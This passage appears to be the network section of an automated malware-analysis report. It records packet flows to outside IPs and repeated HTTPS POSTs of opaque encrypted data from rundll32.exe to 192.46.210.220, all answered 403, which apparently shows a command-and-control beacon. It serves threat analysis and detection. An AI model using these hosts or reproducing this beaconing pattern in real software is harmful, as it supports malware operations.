Oct 28, 2021 04:47:59.565110922 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.565851927 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.569921970 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.570034981 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:59.601871014 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.601888895 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.602122068 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.602207899 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.610054970 CEST	50147	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:59.728560925 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.730907917 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.732604980 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.732628107 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.732825994 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:59.775175095 CEST	6891	50147	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:59.791834116 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:59.792872906 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.793165922 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.853698969 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:59.853971958 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:59.854099989 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.857038975 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.857908010 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.857933998 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:59.918574095 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:59.918596983 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:59.919455051 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:48:00.102880955 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:48:00.102904081 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:48:00.103976011 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:48:00.112968922 CEST	50149	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:48:00.123644114 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:48:00.123661995 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:48:00.123991966 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:48:00.127595901 CEST	50148	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:48:00.173584938 CEST	8116	50149	185.56.219.47	192.168.2.5
Oct 28, 2021 04:48:00.229338884 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.229378939 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.229509115 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.230310917 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.230325937 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.237775087 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.290317059 CEST	808	50148	143.244.140.214	192.168.2.5
Oct 28, 2021 04:48:00.404126883 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:00.404391050 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.405567884 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.571935892 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:00.571989059 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:00.572112083 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.572712898 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.574348927 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.574408054 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:00.722543001 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.722910881 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.723781109 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.723792076 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.726967096 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.726986885 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.727013111 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:00.727021933 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:00.740602016 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:00.740641117 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:00.740708113 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:01.119404078 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:01.119427919 CEST	6891	50151	45.77.0.96	192.168.2.5
Oct 28, 2021 04:48:01.119566917 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:01.119647026 CEST	50151	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:48:01.415347099 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:01.415431976 CEST	443	50150	192.46.210.220	192.168.2.5
Oct 28, 2021 04:48:01.415445089 CEST	50150	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:48:01.415496111 CEST	50150	443	192.168.2.5	192.46.210.220

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 28, 2021 04:48:41.884382963 CEST	8.8.8.8	192.168.2.5	0x7e0e	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

192.46.210.220

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49753	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:00 UTC	0	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:00 UTC	0	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:01 UTC	4	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49757	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:06 UTC	4	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:06 UTC	5	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:07 UTC	9	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:07 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49793	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:24 UTC	49	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:24 UTC	49	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:24 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49800	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:28 UTC	54	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:28 UTC	54	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:28 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49801	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:28 UTC	59	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:28 UTC	59	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:28 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49807	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:31 UTC	64	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:31 UTC	64	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:32 UTC	69	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49809	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:32 UTC	69	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:32 UTC	69	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:33 UTC	74	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49815	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:35 UTC	74	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:35 UTC	74	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:36 UTC	79	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49817	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:36 UTC	79	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:36 UTC	79	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:37 UTC	84	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49823	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:39 UTC	84	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:39 UTC	84	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:40 UTC	89	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49825	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:40 UTC	89	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:40 UTC	89	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:41 UTC	94	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49831	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:43 UTC	94	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
